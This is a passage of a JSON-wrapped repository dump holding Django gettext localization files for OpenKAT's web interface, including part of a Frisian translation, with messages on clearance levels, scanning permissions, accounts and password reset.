clearance level \"\n\"of L%s. Please accept the clearance level below to proceed.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while saving clearance levels.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"One of the OOI's doesn't exist\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set scan profile to %s for %d OOIs.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while setting clearance levels to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"\"\n\"An error occurred while setting clearance levels to inherit: one of the OOIs \"\n\"doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set %d OOI(s) clearance level to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting oois.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting OOIs: one of the OOIs doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Successfully deleted %d ooi(s). Note: Bits can recreate objects \"\n\"automatically.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Please select at least one finding.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully unmuted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully muted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Tree Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Graph Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Observed_at: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"OOI types: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance level: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance type: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Searching for: \"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Setup\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Organization added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"You are not allowed to add organizations.\"\nmsgstr \"\"\n\n#: rocky/views/organization_edit.py\n#, python-format\nmsgid \"Organization %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Add column titles, followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The columns are: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Clearance levels should be between -1 and 4.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Account type can be one of: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Member added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The csv file is missing required columns\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid account type: '{account_type}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid data for: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid email address: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Successfully processed users from csv.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Error parsing the csv file. Please verify its contents.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"Member %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"\"\n\"The updated trusted clearance level of L%s is lower then the member's \"\n\"acknowledged clearance level of L%s. This member only has clearance for \"\n\"level L%s. For this reason the acknowledged clearance level has been set at \"\n\"the same level as trusted clearance level.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\nmsgid \"\"\n\"You have trusted this member with a higher trusted level than member \"\n\"acknowledged. Member must first accept this level to use it.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Blocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Unblocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_settings.py\n#, python-brace-format\nmsgid \"Recalculated {number_of_bits} bits. Duration: {duration}\"\nmsgstr \"\"\n\n#: rocky/views/page_actions.py\nmsgid \"Could not process your request, action required.\"\nmsgstr \"\"\n\n#: rocky/views/scan_profile.py\nmsgid \"\"\n\"Cannot set clearance level. The clearance type must be inherited or declared.\"\nmsgstr \"\"\n\n#: rocky/views/scans.py\nmsgid \"Scans\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"Your report has been scheduled.\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"\"\n\"Your task is scheduled and will soon be started in the background. Results \"\n\"will be added to the object list when they are in. It may take some time, a \"\n\"refresh of the page may be needed to show the results.\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\n#, python-brace-format\nmsgid \"Fetching tasks failed: no connection with scheduler: {error}\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\nmsgid \"All Tasks\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Add column titles. Followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For URL object type, a column 'raw' with URL values is required, starting \"\n\"with http:// or https://, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For Hostname object type, a column with 'name' values is required, \"\n\"optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For IPAddressV4 and IPAddressV6 object types, a column of 'address' is \"\n\"required, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"Clearance levels can be controlled by a column 'clearance' taking numerical \"\n\"values 0, 1, 2, 3, and 4 for the corresponding clearance level (other values \"\n\"are ignored) \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) could not be created for row number(s): \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) successfully added.\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: status code %d\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: %s\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\nmsgid \"Raw file successfully added.\"\nmsgstr \"\"\n"
  },
  {
    "path": "rocky/rocky/locale/fy/LC_MESSAGES/django.po",
    "content": "# SOME DESCRIPTIVE TITLE.\n# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER\n# This file is distributed under the same license as the PACKAGE package.\n# jan klopper <jan@underdark.nl>, 2023.\n# Wim Benes <fryskefirefox@gmail.com>, 2024, 2025.\n# Weblate Translation Memory <noreply-mt-weblate-translation-memory@weblate.org>, 2024, 2025.\n#: reports/forms.py\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: PACKAGE VERSION\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2025-08-20 07:38+0000\\n\"\n\"PO-Revision-Date: 2025-08-22 09:39+0000\\n\"\n\"Last-Translator: Weblate Translation Memory <noreply-mt-weblate-translation-\"\n\"memory@weblate.org>\\n\"\n\"Language-Team: Frisian <https://hosted.weblate.org/projects/openkat/nl-kat-\"\n\"coordination/fy/>\\n\"\n\"Language: fy\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=2; plural=n != 1;\\n\"\n\"X-Generator: Weblate 5.13\\n\"\n\n#: account/admin.py\nmsgid \"Permissions\"\nmsgstr \"Machtigingen\"\n\n#: account/admin.py\nmsgid \"Important dates\"\nmsgstr \"Wichtige datums\"\n\n#: account/forms/account_setup.py crisis_room/forms.py\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: tools/forms/boefje.py rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Name\"\nmsgstr \"Namme\"\n\n#: account/forms/account_setup.py\nmsgid \"The name that will be used in order to communicate.\"\nmsgstr \"De namme dy’t brûkt wurdt om te kommunisearjen.\"\n\n#: account/forms/account_setup.py\nmsgid \"Please provide username\"\nmsgstr \"Fier in brûkersnamme yn\"\n\n#: account/forms/account_setup.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Email\"\nmsgstr \"E-mailadres\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter an email address.\"\nmsgstr \"Fier in e-mailadres yn.\"\n\n#: account/forms/account_setup.py\nmsgid \"Password\"\nmsgstr \"Wachtwurd\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose a super secret password\"\nmsgstr \"Kies in supergeheim wachtwurd\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another email.\"\nmsgstr \"Kies in oar e-mailadres.\"\n\n#: account/forms/account_setup.py tools/forms/settings.py\nmsgid \"--- Please select one of the available options ----\"\nmsgstr \"--- Selektearje ien fan de beskikbere opsjes ---\"\n\n#: account/forms/account_setup.py\nmsgid \"Account type\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Please select an account type to proceed.\"\nmsgstr \"Selektearje in accounttype om troch te gean.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"Trusted clearance level\"\nmsgstr \"Fertroud frijwarringsnivo\"\n\n#: account/forms/account_setup.py\nmsgid \"Select a clearance level you trust this member with.\"\nmsgstr \"Selektearje in frijwarringsnivo dat jo oan dit lid tafertrouwe.\"\n\n#: account/forms/account_setup.py onboarding/forms.py tools/forms/ooi.py\nmsgid \"Please select a clearance level to proceed.\"\nmsgstr \"Kies in frijwarringsnivo om troch te gean.\"\n\n#: account/forms/account_setup.py tools/models.py\nmsgid \"The name of the organization.\"\nmsgstr \"De organisaasjenamme.\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-name\"\nmsgstr \"útlis-organisaasje-namme\"\n\n#: account/forms/account_setup.py\n#, python-brace-format\nmsgid \"A unique code of maximum {code_length} characters in length.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-code\"\nmsgstr \"útlis-organisaasje-koade\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization name is required to proceed.\"\nmsgstr \"De namme fan de organisaasje is fereaske om troch te gean.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another organization.\"\nmsgstr \"Kies in oare organisaasje.\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization code is required to proceed.\"\nmsgstr \"Organisaasjekoade is fereaske om troch te gean.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another code for your organization.\"\nmsgstr \"Kies in oare koade foar jo organisaasje.\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that OpenKAT may scan the assets of my organization and that I \"\n\"have permission to scan these assets. I am aware of the implications a scan \"\n\"(with a higher scan level) brings on my systems.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that I am authorized to give this indemnification on behalf of my \"\n\"organization. I have the experience and knowledge to know what the \"\n\"consequences might be and can be held responsible for them.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Trusted to change Clearance Levels.\"\nmsgstr \"Fertroud om frijwarringsnivo te wizigjen.\"\n\n#: account/forms/account_setup.py\nmsgid \"Acknowledged to change Clearance Levels.\"\nmsgstr \"Hat tastimming om frijwarringsnivo te wizigjen.\"\n\n#: account/forms/account_setup.py rocky/forms.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Blocked\"\nmsgstr \"Blokkearre\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"Set the members status to blocked, so they don't have access to the \"\n\"organization anymore.\"\nmsgstr \"\"\n\"Stel de status fan de leden yn op blokkearre, sadat se gjin tagong mear \"\n\"hawwe ta de organisaasje.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Accepted clearance level\"\nmsgstr \"Akseptearre frijwarringsnivo\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter tags separated by comma.\"\nmsgstr \"Fier troch komma’s skieden labels yn.\"\n\n#: account/forms/account_setup.py\nmsgid \"The two password fields didn’t match.\"\nmsgstr \"De twa wachtwurdfjilden kamen net oerien.\"\n\n#: account/forms/account_setup.py\nmsgid \"New password\"\nmsgstr \"Nij wachtwurd\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter a new password\"\nmsgstr \"Fier in nij wachtwurd yn\"\n\n#: account/forms/account_setup.py\nmsgid \"New password confirmation\"\nmsgstr \"Befêstiging nij wachtwurd\"\n\n#: account/forms/account_setup.py\nmsgid \"Repeat the new password\"\nmsgstr \"Werhelje it nije wachtwurd\"\n\n#: account/forms/account_setup.py\nmsgid \"Confirm the new password\"\nmsgstr \"Befêstigje it nije wachtwurd\"\n\n#: account/forms/login.py\nmsgid \"Please enter a correct email address and password.\"\nmsgstr \"Fier in jildich e-mailadres en wachtwurd yn.\"\n\n#: account/forms/login.py\nmsgid \"This account is inactive.\"\nmsgstr \"Dizze account is net aktyf.\"\n\n#: account/forms/login.py\nmsgid \"Insert the email you registered with or got at OpenKAT installation.\"\nmsgstr \"\"\n\"Fier it e-mailadres yn wêrmei’t jo jo registrearre hawwe of dat jo krigen \"\n\"hawwe by de ynstallaasje fan OpenKAT.\"\n\n#: account/forms/organization.py\nmsgid \"Organization is required.\"\nmsgstr \"Organisaasje is fereaske.\"\n\n#: account/forms/organization.py tools/view_helpers.py\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/views/organization_add.py\nmsgid \"Organizations\"\nmsgstr \"Organisaasjes\"\n\n#: account/forms/organization.py\nmsgid \"The organization from which to clone settings.\"\nmsgstr \"De organisaasje wêrfan de ynstellingen ‘cloned’ waarden.\"\n\n#: account/forms/password_reset.py account/templates/account_detail.html\nmsgid \"Email address\"\nmsgstr \"E-mailadres\"\n\n#: account/forms/password_reset.py\nmsgid \"A reset link will be sent to this email\"\nmsgstr \"\"\n\"Der sil in keppeling nei dit e-mailadres stjoerd wurde foar opnij ynstellen\"\n\n#: account/forms/password_reset.py\nmsgid \"The email address connected to your OpenKAT-account\"\nmsgstr \"It e-mailadres ferbûn oan jo OpenKAT-account\"\n\n#: account/forms/token.py\nmsgid \"\"\n\"Insert the token generated by the authenticator app to setup the two factor \"\n\"authentication.\"\nmsgstr \"\"\n\"Fier it token yn dat troch de autentikator-app generearre is om de \"\n\"twafaktorautentikaasje yn te stellen.\"\n\n#: account/forms/token.py\nmsgid \"Insert the token generated by your token authenticator app.\"\nmsgstr \"Pleats it token dat troch jo tokenautentikator-app generearre is.\"\n\n#: account/forms/token.py\nmsgid \"Backup token\"\nmsgstr \"Back-uptoken\"\n\n#: account/mixins.py\nmsgid \"Clearance level has been set.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\"Koe frijwarringsnivo fan %s net ferheegje nei L%s. Frijwarring net oanwêzich \"\n\"by organisaasje %s.\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You were trusted a clearance \"\n\"level of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\"Kin frijwarringsnivo fan %s net ferheegje nei L%s. Jo binne in \"\n\"frijwarringsnivo tafertroud fan L%s. Nim kontakt op mei jo behearder om jo \"\n\"frijwarringsnivo te ferheegjen.\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You acknowledged a clearance \"\n\"level of L%s. Please accept the clearance level first on your profile page \"\n\"to proceed.\"\nmsgstr \"\"\n\"Kin frijwarringsnivo fan %s net ferheegje nei L%s. Jo hawwe in \"\n\"frijwarringsnivo befêstige fan L%s. Akseptearje earst it frijwarringsnivo op \"\n\"jo profylside om troch te gean.\"\n\n#: account/models.py\nmsgid \"The email must be set\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_staff=True.\"\nmsgstr \"Superuser moat is_staff=True hawwe.\"\n\n#: account/models.py\nmsgid \"Superuser must have is_superuser=True.\"\nmsgstr \"Superuser moat is_superuser=True hawwe.\"\n\n#: account/models.py\nmsgid \"full name\"\nmsgstr \"foar- en efternamme\"\n\n#: account/models.py\nmsgid \"email\"\nmsgstr \"e-mailadres\"\n\n#: account/models.py\nmsgid \"staff status\"\nmsgstr \"funksje of status\"\n\n#: account/models.py\nmsgid \"Designates whether the user can log into this admin site.\"\nmsgstr \"Jout oan oft de brûker oanmelde kin op dizze behearderswebsite.\"\n\n#: account/models.py tools/models.py\nmsgid \"active\"\nmsgstr \"aktyf\"\n\n#: account/models.py\nmsgid \"\"\n\"Designates whether this user should be treated as active. Unselect this \"\n\"instead of deleting accounts.\"\nmsgstr \"\"\n\"Bepaalt oft dizze brûker behannele wurde moat as aktyf. Deselektearje dit yn \"\n\"stee fan it fuortsmiten fan brûkers.\"\n\n#: account/models.py\nmsgid \"date joined\"\nmsgstr \"startdatum\"\n\n#: account/models.py\nmsgid \"The clearance level of the user for all organizations.\"\nmsgstr \"It frijwarringsnivo fan de brûker foar alle organisaasjes.\"\n\n#: account/models.py\nmsgid \"name\"\nmsgstr \"namme\"\n\n#: account/templates/account_detail.html account/views/account.py\nmsgid \"Account details\"\nmsgstr \"Accountgegevens\"\n\n#: account/templates/account_detail.html account/templates/password_reset.html\n#: account/views/password_reset.py\nmsgid \"Reset password\"\nmsgstr \"Wachtwurd opnij ynstelle\"\n\n#: account/templates/account_detail.html\nmsgid \"Full name\"\nmsgstr \"Foar- en efternamme\"\n\n#: account/templates/account_detail.html\nmsgid \"Member type\"\nmsgstr \"Soarte fan lid\"\n\n#: account/templates/account_detail.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Organization\"\nmsgstr \"Organisaasje\"\n\n#: account/templates/account_detail.html\nmsgid \"Permission to set OOI clearance levels\"\nmsgstr \"Tastimming om frijwarringsnivo’s fan OOI yn te stellen\"\n\n#: account/templates/account_detail.html\nmsgid \"OOI clearance\"\nmsgstr \"OOI-frijwarringsnivo\"\n\n#: account/templates/account_detail.html\nmsgid \"You don't have any clearance to scan objects.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"Get in contact with the admin to give you the necessary clearance level.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You have currently accepted clearance up to level\"\nmsgstr \"Jo hawwe op dit stuit frijwarring akseptearre ta nivo\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI Clearance\"\nmsgstr \"Utlis OOI-frijwarring\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"You can withdraw this at anytime you like, but know that you won't be able \"\n\"to change clearance levels anymore when you do.\"\nmsgstr \"\"\n\"Jo kinne dit op elk momint ynlûke, mar wit dat jo it frijwarringsnivo net \"\n\"mear wizigje kinne as jo dat dogge.\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"Withdraw L%(acl)s clearance and responsibility\"\nmsgstr \"Frijwarring en ferantwurdlikheid fan L%(acl)s werom lûke\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI clearance\"\nmsgstr \"Utlis OOI-frijwarringsnivo\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"\"\n\"You are granted clearance for level L%(tcl)s by your admin. Before you can \"\n\"change OOI clearance levels up to this level, you need to accept this \"\n\"permission. Remember: <strong>with great power comes great responsibility.</\"\n\"strong>\"\nmsgstr \"\"\n\"Jo krije frijwarring foar nivo L%(tcl)s fan jo behearder. Eardat jo OOI-\"\n\"frijwarringsnivo’s wizigje kinne oant dit nivo, moatte jo dizze tastimming \"\n\"akseptearje. Unthâld: <strong>mei grutte macht komt grutte ferantwurdlikheid.\"\n\"</strong>\"\n\n#: account/templates/account_detail.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"Accept level L%(tcl)s clearance and responsibility\"\nmsgstr \"Frijwarringsnivo L%(tcl)s en ferantwurdlikheid akseptearje\"\n\n#: account/templates/password_reset.html\nmsgid \"Use the form below to reset your password.\"\nmsgstr \"Brûk it ûndersteande formulier om jo wachtwurd opnij yn te stellen.\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Send\"\nmsgstr \"Ferstjoere\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Back\"\nmsgstr \"Tebek\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm reset password\"\nmsgstr \"Befêstigje it opnij ynstellen fan jo wachtwurd\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Use the form below to confirm resetting your password\"\nmsgstr \"Brûk ûndersteand formulier om it wachtwurd opnij yn te stellen\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm password\"\nmsgstr \"Wachtwurd befêstigje\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"The link is invalid\"\nmsgstr \"De keppeling is net jildich\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"\"\n\"The password reset link was invalid, possibly because it has already been \"\n\"used.  Please request a new password reset.\"\nmsgstr \"\"\n\"De keppeling om it wachtwurd opnij yn te stellen wie net korrekt, miskien is \"\n\"dizze al brûkt. Probearje nochris it wachtwurd yn te stellen.\"\n\n#: account/templates/password_reset_email.html\n#, python-format\nmsgid \"\"\n\"You're receiving this email because you requested a password reset for your \"\n\"user account at %(site_name)s.\"\nmsgstr \"\"\n\"Jo ûntfange dit e-mailberjocht, omdat der in fersyk dien is om it wachtwurd \"\n\"foar jo profyl op %(site_name)s te werstellen.\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Please go to the following page and choose a new password:\"\nmsgstr \"Gean nei de folgjende side en kies in nij wachtwurd:\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Sincerely,\"\nmsgstr \"Mei hege achting,\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"The OpenKAT team\"\nmsgstr \"It OpenKAT-team\"\n\n#: account/templates/password_reset_subject.txt\n#, python-format\nmsgid \"Password reset on %(site_name)s\"\nmsgstr \"Wachtwurd opnij ynstelle op %(site_name)s\"\n\n#: account/templates/recover_email.html account/views/recover_email.py\nmsgid \"Recover email address\"\nmsgstr \"E-mailadres werstelle\"\n\n#: account/templates/recover_email.html\nmsgid \"Information on how to recover your connected email address\"\nmsgstr \"Ynformaasje oer hoe’t jo jo ferbûne e-mailadres werstelle kinne\"\n\n#: account/templates/recover_email.html\nmsgid \"Forgotten email address?\"\nmsgstr \"E-mailadres ferjitten?\"\n\n#: account/templates/recover_email.html\nmsgid \"\"\n\"If you don’t remember the email address connected to your account, contact:\"\nmsgstr \"\"\n\"As jo it oan jo account keppele e-mailadres net mear witte, nim dan kontakt \"\n\"op mei:\"\n\n#: account/templates/recover_email.html\nmsgid \"Please contact the system administrator.\"\nmsgstr \"Nim kontakt op mei de systeembehearder.\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to login\"\nmsgstr \"Werom nei oanmelden\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to Home\"\nmsgstr \"Werom nei startside\"\n\n#: account/templates/registration_email.html\n#, python-format\nmsgid \"\"\n\"Welcome to OpenKAT. You're receiving this email because you have been added \"\n\"to organization \\\"%(organization)s\\\" at %(site_name)s.\"\nmsgstr \"\"\n\"Wolkom by OpenKAT. Jo ûntfange dit e-mailberjocht, omdat jo tafoege binne \"\n\"oan de organisaasje ‘%(organization)s’ op %(site_name)s.\"\n\n#: account/templates/registration_subject.txt\n#, python-format\nmsgid \"Verify OpenKAT account on %(site_name)s\"\nmsgstr \"Ferifiearje OpenKAT-account op %(site_name)s\"\n\n#: account/validators.py\nmsgid \"\"\n\"Your password must contain at least the following but longer passwords are \"\n\"recommended:\"\nmsgstr \"\"\n\"Jo wachtwurd moat op syn minst it folgjende befetsje, mar langere \"\n\"wachtwurden wurde oanrekommandearre:\"\n\n#: account/validators.py\nmsgid \" characters\"\nmsgstr \" karakters\"\n\n#: account/validators.py\nmsgid \" digits\"\nmsgstr \" sifers\"\n\n#: account/validators.py\nmsgid \" letters\"\nmsgstr \" letters\"\n\n#: account/validators.py\nmsgid \"\"\n\" special characters such as: {str(validators.get('special_characters',''))}\"\nmsgstr \"\"\n\" spesjale karakters lykas: {str(validators.get('special_characters',''))}\"\n\n#: account/validators.py\nmsgid \" lower case letters\"\nmsgstr \" lytse letters\"\n\n#: account/validators.py\nmsgid \" upper case letters\"\nmsgstr \" haadletters\"\n\n#: account/views/login.py\nmsgid \"Your session has timed out. Please login again.\"\nmsgstr \"Jo sesje is ferrûn. Meld jo opnij oan.\"\n\n#: account/views/login.py rocky/templates/header.html\nmsgid \"OpenKAT\"\nmsgstr \"OpenKAT\"\n\n#: account/views/login.py account/views/password_reset.py\n#: account/views/recover_email.py rocky/templates/partials/secondary-menu.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Login\"\nmsgstr \"Oanmelde\"\n\n#: account/views/login.py\nmsgid \"Two factor authentication\"\nmsgstr \"Twastapsferifikaasje\"\n\n#: account/views/password_reset.py\nmsgid \"We couldn't send a password reset link. Contact \"\nmsgstr \"Wy koene gjin keppeling foar wachtwurdwerstel ferstjoere. Kontakt \"\n\n#: account/views/password_reset.py\nmsgid \"\"\n\"We couldn't send a password reset link. Contact your system administrator.\"\nmsgstr \"\"\n\"Wy koene gjin wachtwurdwerstelkeppeling stjoere. Nim kontakt op mei jo \"\n\"systeembehearder.\"\n\n#: components/modal/template.html\nmsgid \"Close modal\"\nmsgstr \"Modal slute\"\n\n#: components/modal/template.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/confirmation_clone_settings.html\n#: katalogus/templates/plugin_settings_delete.html\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/organizations/organization_edit.html\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/templates/partials/delete_ooi_modal.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Cancel\"\nmsgstr \"Annulearje\"\n\n#: crisis_room/forms.py\nmsgid \"Title on dashboard\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Dashboard item size\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Full width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Half width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An item with that name already exists. Try a different title.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An error occurred while adding dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Number of rows in list\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"List sorting by\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Show table columns\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity 